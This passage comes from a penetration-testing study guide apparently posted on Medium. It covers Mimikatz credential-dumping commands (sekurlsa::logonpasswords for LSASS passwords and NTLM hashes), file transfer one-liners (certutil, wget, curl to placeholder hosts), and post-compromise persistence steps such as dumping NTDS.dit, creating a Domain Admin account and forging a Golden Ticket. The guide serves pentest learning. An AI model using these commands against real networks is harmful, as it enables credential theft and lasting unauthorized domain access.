Ask system environment privilege<br>              id  -  Ask a privilege by its id<br>            name  -  Ask a privilege by its name</pre><p><strong>Enable debug privilege:</strong></p><pre>privilege::debug</pre><pre>Privilege &#39;20&#39; OK</pre><p><strong>Module: sekurlsa:</strong></p><pre>sekurlsa::</pre><pre>Module :        sekurlsa<br>Full name :     SekurLSA module<br>Description :   Some commands to enumerate credentials...</pre><pre>             msv  -  Lists LM &amp; NTLM credentials<br>         wdigest  -  Lists WDigest credentials<br>        kerberos  -  Lists Kerberos credentials<br>           tspkg  -  Lists TsPkg credentials<br>         livessp  -  Lists LiveSSP credentials<br>         cloudap  -  Lists CloudAp credentials<br>             ssp  -  Lists SSP credentials<br>  logonPasswords  -  Lists all available providers credentials<br>         process  -  Switch (or reinit) to LSASS process  context<br>        minidump  -  Switch (or reinit) to LSASS minidump context<br>         bootkey  -  Set the SecureKernel Boot Key to attempt to decrypt LSA Isolated credentials<br>             pth  -  Pass-the-hash<br>          krbtgt  -  krbtgt!<br>     dpapisystem  -  DPAPI_SYSTEM secret<br>           trust  -  Antisocial<br>      backupkeys  -  Preferred Backup Master keys<br>         tickets  -  List Kerberos tickets<br>           ekeys  -  List Kerberos Encryption Keys<br>           dpapi  -  List Cached MasterKeys<br>         credman  -  List Credentials Manager</pre><p><strong>Dump password / ntlm-hash from memory:</strong></p><pre>sekurlsa::logonpasswords</pre><h3>File Transfers Review</h3><ul><li>Certutil:</li></ul><pre>cerutil.exe -urlcache -f http://IP/file.txt file.txt</pre><ul><li>HTTP:</li></ul><pre>python3 -m http.server 6969</pre><ul><li>Browser: Navigate to the directory / file</li><li>FTP:</li></ul><pre>python3 -m pyftpdlib 21<br>ftp TARGET-IP</pre><ul><li>Wget &amp; Curl: To download the remote file via a open port above:</li></ul><pre>wget http://TARGET-IP:PORT/file.txt<br>curl http://TARGET-IP:PORT/file.txt -o file.txt</pre><h3>IX. We’ve Compromised the Domain — Now What</h3><p><strong>Provide as much value to the client as possible</strong></p><ul><li>Try to compromise the domain again with a different strategy</li><li>Dump the NTDS.dit and crack passwords</li><li>Enumerate shares for more sensitive information</li></ul><p><strong>Persistence can be important</strong></p><ul><li>What to do if DA access is lost?</li><li>Create a DA account (DELETE AFTER USE)</li><li>Create a Golden Ticket</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e23d38d4e3a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>